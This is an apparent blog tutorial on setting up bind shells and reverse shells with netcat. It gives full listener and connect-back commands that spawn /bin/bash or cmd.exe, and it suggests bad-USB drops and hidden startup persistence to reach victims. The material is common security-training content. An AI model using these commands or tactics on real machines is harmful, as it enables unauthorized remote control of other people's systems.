Bind Shells and Reverse Shells with netcat
Introduction to netcat
The simplest definition of netcat is that it’s a network utility that’s used to read to and write from TCP or UDP connections. You can set up and tear down connections on any machine with netcat binaries, and that machine can act as either a server or a client to communicate with other machines running either another instance of netcat, or other services like SMTP.
In network security, netcat is typically used to transfer files to/from a compromised host, or to access a shell/command prompt on a compromised host. These remote shell access methods typically take one of two forms – a bind shell, or a reverse shell. In this article, we’ll look at both.
Preparing for Remote Shell Access
Both of these shell options require that commands be run on the remote host, so that we can run commands on the remote host. As “catch 22” as this sounds, there are several options to get netcat on the remote machine, as well as execute the netcat (nc) command to provide us a shell.
Though it’s outside of the scope of this article, common initiators for setting up the remote machine to access a shell include physical access to the machine, remotely exploiting the machine via a method that allows remote code execution, or setting up a “bad USB” drive that someone is tricked into plugging in to their machine, which would then run exploit commands. The targeted exploit in this case would download netcat binaries in a hidden location on the machine’s drive, and then execute the proper commands to set up a bind or reverse shell. Ideally, it would run these commands every time the machine starts up to keep access to the shell alive.
Think creatively on this one.
A bind shell is useful when the attacker (us) has direct access to the IP address of the remote host. A typical situation that accommodates this requirement is when the attacker and the remote host are on either the same IP subnet, or subnets that are directly routed to each other without any form of network address translation (NAT) between them. This requirement is such because the attacker must be able to point netcat at the IP address of a machine directly and receive a response.
If the machine is behind a device that is providing NAT, like a firewall, the connection may or may not be successful depending on which ports are forwarded to the device. Sometimes ports can be hijacked for use with netcat, but that obviously requires that the attacker knows which IPs/ports are open and forwarded, which means that they have a knowledge of the firewall/NAT device configuration. This may or may not be the case, but often it’s not.
When we configure a bind shell, we are essentially telling the remote machine to serve a shell to us via a TCP port, set up a listener (server) on that port, and when we make a connection to that port, run the shell and send the text output across the network to us. What typically would be standard I/O to a display device (monitor) will instead be redirected through the network so that we can run commands on the remote shell as if we were sitting at the remote machine. Obviously this is very powerful, especially if the remote user has administrative permissions.
Setting up a listener on the remote machine is a simple one-line command, but differs slightly on Windows and Linux. In this example, we’ll set up a listener on port 5555.
nc -nvlp 5555 -e /bin/bash
nc -nvlp 5555 -e cmd.exe
The switches here are condensed for ease of use, but are all separate. The same commands could be written the following way.
nc -n -v -l -p 5555 -e /bin/bash
The -n switch tells the command that we are using IP addresses only and not to involve DNS resolution. This can speed up execution of commands with netcat. -v provides us with verbose output. -l puts netcat in “listen mode,” which, since the remote machine is essentially the server here, makes sense. -p specifies our port, 5555. The final parameter is the path to the shell, which when running bash in Linux is /bin/bash, and in Windows is the cmd.exe application.
After running this command, netcat will appear to hang on the remote machine if running this command interactively. It’s not locked up, it’s just listening for a connection.
Once the remote machine is in listen mode, we can then use our machine to connect to it remotely. Again, syntax is a simple single-line command. In this example, we’ll use 192.168.10.10 as the IP address of the remote machine, and port 5555 from our previous example.
nc -nv 192.168.10.10 5555
The -n and -v switches are optional and are explained above, but are useful. After this command is run, you may have to hit the enter key a few times to get some output, but you should have access to a shell / command prompt on the remote machine. Try running a command like whoami and see what output you get.
Keep these things in mind when using a bind shell.
- Most importantly: with a bind shell, the remote host acts as the server and our machine acts as the client.
- The remote host must be directly accessible by it’s IP address by our machine.
- NAT typically breaks the requirement that the remote is accessible, unless both the remote host and our machine are on the same subnet or on directly routed subnets with no NAT between them.
Remember that with a bind shell we had a limitation that the attacker (us) be able to access the remote host via the remote host’s IP address directly, which isn’t usually possible if the device is behind NAT. The main problem with this limitation is that on modern networks, most client machines are behind NAT, and no ports are typically forwarded to them unless they’re a server or a special case.
But what happens when we want to throw a compromised USB drive in a parking lot to see if someone will plug it in to their machine and provide us a shell, and we don’t know what machine they’re on? They’re likely behind NAT. We likely have no control over the firewall, or the way IP traffic is routed internally within their home or organization. That’s a problem.
The solution to that problem is that we do know how our own equipment is configured, because we configured it. A reverse shell is like a bind shell with one exception – instead of setting up a listener on the remote machine, we’ll set up a listener on our own machine and force the remote machine to connect to us.
Think about that, because the difference is vital. Instead of the remote acting as the server and us using our machine as a client to connect to it, our machine becomes the server and the remote host acts as a client that will push a shell to us.
Since our machine will be acting as the listener (server), it must be set up and listening before the command to send a shell from the remote host is executed. In this syntax, we’ll assume that our machine will be listening on port 5555.
nc -nvlp 5555
All of the switches here we’ve seen before. The only required switches are the -l and -p switch, which put our machine in to listening mode and specify the port on which we’ll be listening respectively. Once our machine is listening, we can run the command on the remote host to push a shell / command prompt to us.
In this syntax, we’ll assume that the IP address of our machine is 192.168.20.20.
nc -nv 192.168.20.20 5555 -e cmd.exe
nc -nv 192.168.20.20 5555 -e /bin/bash
Because our machine is the server, the client’s IP address doesn’t matter and isn’t used in this example. Since they’re assumed to be inside a NAT environment, we couldn’t do much with it anyway. With a reverse shell, the only thing for which we’re responsible, from a network perspective, is that the remote host be able to access our IP address. Typically, we could either connect directly to the Internet and get a public IP address, or (probably the safer choice…) explicitly forward specific ports and IP forwarders through our own firewall to our machine.
Keep these things in mind when using a reverse shell.
- Most importantly: with a reverse shell, our machine acts as the server and the remote host acts as the client.
- Our machine must be directly accessible by it’s IP address from the remote host.
- NAT on the remote host side is much less a factor here because we are in control of how our server IP address is accessed.
In this article we discussed the difference between bind shells and reverse shells and how to configure the server and client side of both using netcat. The result of successfully executing each type of shell is exactly the same – we gain remote access to the command line of a remote machine. The use cases for each command, however, are very different and are specifically decided upon depending on the network configuration situation.
If you enjoyed this tutorial and would like to see more, please feel free to share this article on social media, comment below letting me know what else you’d like to see, and follow me on Twitter @JROlmstead.